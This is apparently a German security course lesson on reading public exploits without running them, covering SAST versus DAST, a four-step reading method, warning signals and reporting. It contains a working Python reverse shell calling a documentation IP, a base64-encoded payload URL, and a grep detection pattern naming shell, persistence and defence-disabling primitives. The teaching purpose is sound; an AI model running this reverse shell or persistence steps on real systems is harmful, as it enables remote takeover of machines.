Offensive Code-Analyse — Grundlagen
Ein öffentlicher Exploit ist kein Rezept. Es ist ein Programm, das jemand anderes geschrieben hat — manchmal um eine Schwachstelle zu dokumentieren, manchmal um seine eigene obendrauf zu installieren. Ihn zu lesen, ohne ihn zu starten, ist ein Handwerk. Diese Lektion legt die Methode, die Signale und die Art fest, daraus einen Befund zu machen.
Ein Skript „Exploit" im Interpreter zu öffnen bedeutet, sich damit einverstanden zu erklären, selbst zum Ziel zu werden. Ein GitHub-Repository mit dem Titel PoC CVE-20xx enthält regelmäßig eine zweite Stufe: Netzwerk-Rückruf, hinzugefügter SSH-Schlüssel, geplante Aufgabe. Das Lesen erfolgt in einem Editor, mit less, bat oder Get-Content. Nicht mit python exploit.py.
Was Sie nach dieser Lektion können werden
- SAST und DAST unterscheiden und wissen, welche Methode bei einem offensiven Tool zuerst anzuwenden ist.
- Eine statische Lektüre in vier Schritten vor jeder Ausführung anwenden.
- Die sensiblen Primitiven (
eval,exec,socket,pickle, Shell-Aufrufe) benennen und erkennen, was sie verraten. - Das Bedrohungsmodell eines Skripts rekonstruieren: Privileg, Version, Netzwerk, Persistenz.
- Innerhalb weniger Sekunden die Warnsignale erkennen: fest codierte URL oder IP, base64, XOR, Schreibvorgänge in
authorized_keys,crontab,Registry\Run. - Einen Befund (Beweis, Auswirkung, Abhilfemaßnahme) verfassen und den Rahmen einer koordinierten Offenlegung kennen.
1. SAST versus DAST — zwei Blickwinkel, eine Reihenfolge
Zwei Analysefamilien, zwei Untersuchungsobjekte, zwei unterschiedliche Verzerrungen.
| Ansatz | Was Sie untersuchen | Was Sie ausführen | Was Sie erhalten |
|---|---|---|---|
| SAST (Static Application Security Testing) | Den Quellcode, den Bytecode, das Skript, die disassemblierte Binärdatei | Nichts vom Ziel, nichts vom Skript | Kandidaten, Primitiven, Geheimnisse, tote Pfade |
| DAST (Dynamic Application Security Testing) | Die laufende Anwendung | Anfragen, manchmal Payloads | Bestätigungen, Verhaltensweisen, andersartige Falsch-Positive |
SAST beantwortet: „Wozu ist dieser Code fähig?" DAST beantwortet: „Was tut dieser Dienst wirklich, wenn man ihn anspricht?"
Bei einem offensiven Tool (öffentlicher Exploit, Automatisierungsskript, außerhalb des Rahmens beschafftes Metasploit-Modul) ist die Reihenfolge nicht verhandelbar: erst SAST. Sie haben noch nicht das Recht, „dynamisch" herauszufinden, was das Skript an 203.0.113.7 sendet.
Bei einer Anwendung, die Sie auditieren (Lab, Auftrag, Kunden-Repository), ergänzen sich beide. Semgrep und Bandit erstellen die Liste der Kandidaten. Burp und manuelle Tests bestätigen, was erreichbar ist. Ein Befund aus einem Code-Review stützt sich oft allein auf SAST: Der Beweis ist eine Zeile, kein Shell-Screenshot.
Alle Beispiel-IPs stammen aus Dokumentationsbereichen (RFC 5737), insbesondere 203.0.113.0/24. Sie leiten nicht zu einer echten Maschine. Zeigt ein Skript, das Sie lesen, woanders hin — privater Adressbereich, VPS, unbekannte Domäne — ist das bereits ein Signal.
2. Warum die statische Lektüre vor der Ausführung steht
Drei Gründe, keiner davon ist theoretisch.
Sie können selbst zum Opfer werden. Die Datei heißt exploit.py. Beim ersten import öffnet sie einen Socket, schreibt einen Schlüssel, lädt ein zweites Skript herunter. Der Titel des Repositorys schützt Sie nicht. Die am meisten geteilten „PoCs" sind auch die am häufigsten kopierten — und die am häufigsten neu bewaffneten.
Sie können den Rahmen verlassen. Einen Exploit zu starten, ohne das Ziel, die Version, die Netzwerkvoraussetzungen gelesen zu haben, bedeutet blind anzugreifen. Außerhalb eines Labs und außerhalb der RoE ist das eine Straftat. Selbst im Auftrag bringt Sie ein Skript, das 10.0.0.0/8 durchsucht, obwohl der Geltungsbereich ein /28 ist, außerhalb des Vertrags.
Sie verpassen, was die Shell überlebt. Viele Lernende bleiben bei „das öffnet eine /bin/sh" stehen. Die nützliche Frage kommt danach: Bleibt es bestehen? Eine Zeile in crontab, ein Wert unter HKCU\...\Run, ein Schlüssel in ~/.ssh/authorized_keys ist sowohl für den Verteidiger als auch für den Bericht mehr wert als die Shell selbst.
Die einfache Regel: Wenn ich das Skript niemandem erklären kann, habe ich nicht das Recht, es zu starten.
3. Die Lesemethode in vier Schritten
Es ist dasselbe Raster für einen zehnzeiligen Reverse Shell wie für ein Framework mit zweihundert Dateien.
3.1. Erst statisch
In einem Editor öffnen. Die Imports, eingebundenen Dateien, Netzwerkaufrufe und Festplatten-Schreibvorgänge auflisten. Nicht „zum Testen" kompilieren. Kein unbekanntes Modul importieren: In Python führt der bloße Import bereits den Dateikörper aus.
# Lesen, keine Ausführung
less exploit.py
bat --paging=never exploit.py
Get-Content .\outil.ps1
strings -n 8 binaire_inconnu | less
3.2. Die sensiblen Primitiven lokalisieren
Eine Primitive ist ein Aufruf, der die Welt verändert: Code ausführen, das Netzwerk öffnen, eine vertrauenswürdige Datei beschreiben, eine Schutzfunktion deaktivieren. Sie suchen danach, bevor Sie den Rest verstehen. Eine Tabelle genügt.
| Primitive | Häufige Sprachen | Was sie ermöglicht | Lesart |
|---|---|---|---|
eval, exec | Python, PHP | Eine Zeichenkette als Code ausführen | Die Payload kommt oft von woanders (Netzwerk, Datei, Argument) |
Function, setTimeout(string) | JavaScript | Dasselbe im Browser oder unter Node | Gespeichertes XSS oder Verschleierungswerkzeug |
socket, connect, requests.get | Python, C, Go | Rückruf oder Download | C2, Reverse Shell, zweite Stufe |
subprocess, os.system, Runtime.exec | Python, Java | Shell | Zusammengesetzter Befehl, oft injizierbar |
pickle.loads, yaml.load, unserialize | Python, PHP | Deserialisierung | Codeausführung beim Laden |
ctypes, Reflection, Native | Python, Java, .NET | Low-Level-Aufrufe | Umgehung, Injektion |
os.dup2 | Python, C | stdin/stdout/stderr umleiten | Klassisches Erkennungsmerkmal eines Reverse Shells |
Sie müssen das Skript nicht vollständig verstehen, um diese Aufrufe zu markieren. Der Rest der Lektüre knüpft daran an.
3.3. Die Payload identifizieren
Drei Fragen, in dieser Reihenfolge:
- Was installiert oder überschreibt sie? Binärdatei, Schlüssel, Dienst, Umgebungsvariable.
- Wen kontaktiert sie? IP, Domäne, Port, Protokoll, Richtung (eingehend / ausgehend).
- Was persistiert sie? Nichts (flüchtige Shell), oder ein Mechanismus, der einen Neustart überlebt.
Ein sechszeiliger TCP-Reverse-Shell installiert oft nichts. Ein fünfzigzeiliger „Patch", der authorized_keys anfasst, installiert eine Hintertür. Das ist nicht dieselbe Kategorie, das ist nicht derselbe Befund.
3.4. Das Bedrohungsmodell rekonstruieren
Ein Skript ohne Bedrohungsmodell ist eine Anekdote. Sie müssen diese Tabelle ausfüllen können, bevor Sie ein Fazit ziehen.
| Frage | Warum sie wichtig ist |
|---|---|
| Welches Privileg braucht man bereits? | Lokaler user, authentifizierte Web-Session, anonym aus der Ferne: die Auswirkung ändert sich. |
| Welche Version, welches Produkt? | Ein Exploit für WordPress 4.7 sagt nichts über 6.x aus. |
| Welche Netzwerkvoraussetzungen? | Ausgehend TCP 4444, DNS, SMB, nur localhost. |
| Wie sieht der Erfolg aus? | Shell, Token-Diebstahl, Dateischreibvorgang, Denial of Service. |
| Was bleibt danach übrig? | Nichts, oder eine Persistenz, die der Kunde entfernen lassen muss. |
Ohne dieses letzte Feld wissen Sie nicht, was Sie empfehlen sollen. Eine Shell ohne Persistenz schließt sich. Ein SSH-Schlüssel schließt sich nicht.
4. Sofort zu erkennende Signale
Sie werden nicht immer Zeit für eine vollständige Durchsicht haben. Diese Muster erkennt man beim Scannen, oft mit grep.
| Signal | Wo es auftritt | Lesart |
|---|---|---|
| Fest codierte URL zu einem Dritten | http://, https://, ftp:// | Download einer zweiten Stufe, Exfiltration, „Update" |
| Literale IP | Besonders außerhalb von RFC 1918 und Dokumentationsbereichen | C2, Rückruf, schlecht abgegrenzter interner Scan |
| base64 oder XOR | Lange Zeichenketten, b64decode, bytes([…]) ^ cle | Versteckte Payload oder URL — zu dekodieren, nicht auszuführen |
~/.ssh/authorized_keys | echo, >>, open(..., "a") | SSH-Persistenz: Ein Schlüssel des Angreifers wird zu einem legitimen Login |
crontab / schtasks | @reboot, * * * * * | Zeitliche Persistenz |
Registry\Run | HKCU\Software\Microsoft\Windows\CurrentVersion\Run | Windows-Sitzungspersistenz |
| Sabotage von Schutzmaßnahmen | Set-MpPreference -DisableRealtimeMonitoring, Beenden von ufw / iptables | Das Skript bereitet das Terrain vor; das Feststellen ist einen eigenen Befund wert |
# Statisches Scannen — die Datei wird nicht interpretiert
grep -nE 'eval|exec\(|socket|subprocess|pickle|b64|base64|xor|authorized_keys|crontab|DisableRealtimeMonitoring' exploit.py
Eine IP im Bereich 203.0.113.0/24 ist in diesem Kurs ein Beispiel. Dieselbe Form in einem heute Morgen heruntergeladenen Skript ist ein externer Rückruf. Eine IP im Bereich 192.0.2.0/24 oder 198.51.100.0/24 ebenso (RFC 5737). Eine IP wie 8.8.8.8 ist kein C2, sondern oft ein Resolver. Eine private/VPS-IP im Bereich 185.x oder 45.x verdient es, dass man vor dem Weitermachen whois öffnet.
4.1. Kommentiertes Beispiel — Python-Reverse-Shell
Das folgende Fragment ist didaktisch. Es wird auf dieser Seite nicht ausgeführt, und Sie starten es nicht.
# NICHT AUSFÜHREN — didaktische Anmerkung.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP-Socket
s.connect(("203.0.113.7", 4444)) # fest codierter externer Rückruf
os.dup2(s.fileno(), 0) # Umleitung stdin
os.dup2(s.fileno(), 1) # Umleitung stdout
os.dup2(s.fileno(), 2) # Umleitung stderr
subprocess.call(["/bin/sh", "-i"]) # interaktive Shell
Lesart, Zeile für Zeile:
| Zeile | Primitive | Was sie tut | Was sie nicht tut |
|---|---|---|---|
socket(...) | Netzwerk | Erstellt einen TCP-Deskriptor | Lauscht nicht: Es ist ein Client |
connect(("203.0.113.7", 4444)) | Rückruf | Verbindet sich mit einer fest codierten IP und einem Port | Keine DNS-Auflösung, keine Verschlüsselung |
os.dup2(..., 0/1/2) | Umleitung | Die Shell wird über den Socket kommunizieren | Keine Authentifizierung |
subprocess.call(["/bin/sh", "-i"]) | Ausführung | Interaktive Shell | Keine Persistenz, keine Verschleierung |
Bedrohungsmodell in einem Satz: ausgehender TCP-Reverse-Shell, Voraussetzung = Python auf der Maschine ausführen können, Erfolg = Remote-Shell, verbleibt = nichts (flüchtiger Prozess). Erkennung möglich: Regel für ungewöhnlichen ausgehenden Verkehr zu Port 4444, oder einfach das Lesen des Quelltexts.
Das ist der am leichtesten lesbare Fall. Die folgende Demonstration fügt ein Bash-Skript hinzu, das seinerseits persistiert, sowie Tools, die dieselben Muster in einer Anwendung von selbst finden.
4.2. base64 und XOR — Dekodieren ist nicht Starten
Eine undurchsichtige Zeichenkette ist kein Argument dafür, „das Skript einfach mal auszuprobieren". Es ist ein Argument dafür, sie in einem Notizblock zu dekodieren.
# Isolierte Dekodierung: man erhält Text, man leitet ihn nicht in einen Interpreter weiter
printf '%s' 'aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo' | base64 -d
# → https://203.0.113.7/outils/maj.sh
# Didaktisches XOR: der Schlüssel 0x13 steht sichtbar im Skript
chiffre = bytes.fromhex("2123203d233d2222203d24")
clair = bytes(b ^ 0x13 for b in chiffre)
# clair == b'203.0.113.7' — zu notieren, nicht zu kontaktieren
Das Ergebnis der Dekodierung fügt sich wieder in das Raster ein: Drittanbieter-URL, IP, Befehl. Sie ordnen es dem Bedrohungsmodell zu. Sie curlen es nicht, Sie bashen es nicht.
5. Was die Tools ändern — und was nicht
Semgrep, Bandit, Gitleaks, ripgrep: Das sind Lesebeschleuniger, keine Ersatzlösungen.
| Tool | Stärke | Grenze |
|---|---|---|
| Semgrep | Sprachübergreifende Regeln, Muster (SQLi, Injektionen, Geheimnisse) | Fehlende Regel = Lücke; Falsch-Positive bei totem Code |
| Bandit | Auf Python spezialisiert, stabile IDs (B301, B608) | Ignoriert PHP, PS1, Bash außerhalb von Python |
| Gitleaks | Fest codierte Geheimnisse, AWS-Schlüssel, Tokens | Versteht eine eval-Primitive nicht |
grep / rg | Sie wählen das Muster | Sie finden nur, was Sie zu benennen wissen |
Ein Tool, das nichts sagt, beweist nicht das Fehlen einer Payload. Ein Tool, das bei eval einer konstanten Zeichenkette in einem Unit-Test Alarm schlägt, beweist keine RCE. Der Leser bleiben Sie. Die Demonstration zeigt die reale Ausgabe; der Workshop lässt Sie entscheiden.
SAST überschätzt (ein execute auf einer Konstante) und unterschätzt (eine hinter zwei eigenen Funktionen versteckte Primitive). Ein Befund stützt sich auf die gelesene Zeile, nicht allein auf die Bandit-Kennung. Umgekehrt ist „Bandit hat nichts gesagt" kein Audit-Fazit.
6. Dokumentieren wie einen Befund
Lesen nützt nur, wenn es im Bericht landet. Ein offensives Tool oder eine im Quelltext gefundene Schwachstelle wird mit denselben drei Blöcken dokumentiert wie im Berichtsmodul.
- Beweis — Datei, Zeile, Auszug, Tool-Kennung. Nicht „das Skript sieht gefährlich aus".
- Auswirkung — wer kann was, unter welcher Voraussetzung. Ein
pickle.loadsauf einer anonymen Route hat nicht dieselbe Auswirkung wie einmd5auf einem internen Passwort. - Abhilfemaßnahme — der Patch, das Entfernen der Persistenz oder die Erkennungsregel. Ein umsetzbarer Satz.
Fügen Sie hinzu, wenn es sich um ein Tool und nicht um eine Anwendung handelt: die Empfehlung, es nicht auszuführen, das Bedrohungsmodell und was das SOC bereits blockieren kann (ausgehender Verkehr auf 4444, Schreibvorgang in authorized_keys).
Das ist derselbe Reflex wie bei einer SQLi: Der Leser des Berichts muss überprüfen können, ohne den Angriff erneut zu starten. Hier überprüft er, indem er die Datei öffnet.
7. Ethik — Veröffentlichen ist nicht harmlos
Einen funktionsfähigen Exploit zu veröffentlichen — selbst „für die Wissenschaft" — verpflichtet zu drei Dingen. Der Modulindex legt sie fest; sie gelten auch außerhalb der Schule.
- Frist zur koordinierten Offenlegung mit dem Hersteller. Der Forscher informiert, der Hersteller behebt, dann erst kommen die Details heraus. Übliche Fristen liegen bei etwa 90 Tagen; der Vertrag oder die Richtlinie des Dienstleisters hat Vorrang.
- Dokumentierte Abhilfemaßnahme. Ein PoC ohne Patch, ohne gepatchte Version, ohne Erkennungsmaßnahme ist eine ohne Anleitung ausgelieferte Waffe. Ihr Befund muss die Abhilfe tragen.
- Verantwortungsrahmen gegenüber den Nutzern. Einen Exploit „für die Lernenden" unverändert in ein öffentliches Repository zu kopieren, ohne ihn zu entschärfen (Dokumentations-IP,
exitam Anfang, Banner nicht ausführen), macht Sie zu einem Verbreiter.
Dieser Kurs zeigt kommentierte Auszüge, RFC-5737-IPs, absichtlich verwundbare Repositories, die Sie lokal erstellen. Er verlangt von Ihnen nie, einen bewaffneten Exploit zu pushen oder ein System außerhalb des Labs anzugreifen.
8. Die zeitraubendsten Missverständnisse
- „Ich starte es einfach, dann sehe ich schon." Sie werden vor allem die zweite Stufe zu sehen bekommen. Die Lektüre ist die Kontrolle.
- „SAST = DAST ohne die Pakete." Nein. SAST bestätigt nicht, dass eine Route erreichbar ist. DAST liest keine Persistenz, die noch nicht ausgelöst wurde.
- „Keine Verschleierung, also nicht gefährlich." Der Reverse Shell aus Abschnitt 4 hat keinerlei Verschleierung. Er ist absolut gefährlich, wenn man ihn ausführt.
- „Das ist ein Admin-Tool, also ist es unbedenklich." Ein Bash-Skript, das „den Gerätepark aktualisiert" und
authorized_keysneu schreibt, ist ein Admin-Tool und eine Persistenz. Der Dateiname entscheidet nicht. - „Gitleaks hat einen Beispielschlüssel gefunden, also ist alles rot."
AKIAIOSFODNN7EXAMPLEist der Schlüssel aus der AWS-Dokumentation. Sie qualifizieren: Beispiel, widerrufen, oder echtes Geheimnis. Der Bericht verwässert echte Lecks nicht.
Was Sie sich merken sollten
Die statische Lektüre ist die einzige Kontrolle, die der Ausführung vorausgeht. SAST und DAST ersetzen sich nicht gegenseitig: Die eine liest das Mögliche, die andere das Reale. Sie suchen zuerst nach den Primitiven (eval, socket, Shell, Deserialisierung), dann nach der Payload, dann nach dem Bedrohungsmodell. Die Signale (fest codierte URL/IP, base64, XOR, authorized_keys, crontab, Registry\Run) lassen sich mit einem einzigen Befehl scannen. Ein Tool beschleunigt; es unterschreibt nicht den Befund. Einen funktionsfähigen Exploit ohne koordinierte Frist, ohne Abhilfe und ohne Rahmen zu veröffentlichen, ist nicht Teil dieses Handwerks.
Nächste Lektion: Wir kommentieren einen Reverse Shell und ein Bash-Skript, ohne sie zu starten, und lesen anschließend die Ausgabe von Semgrep, Bandit und Gitleaks für eine Flask-Anwendung.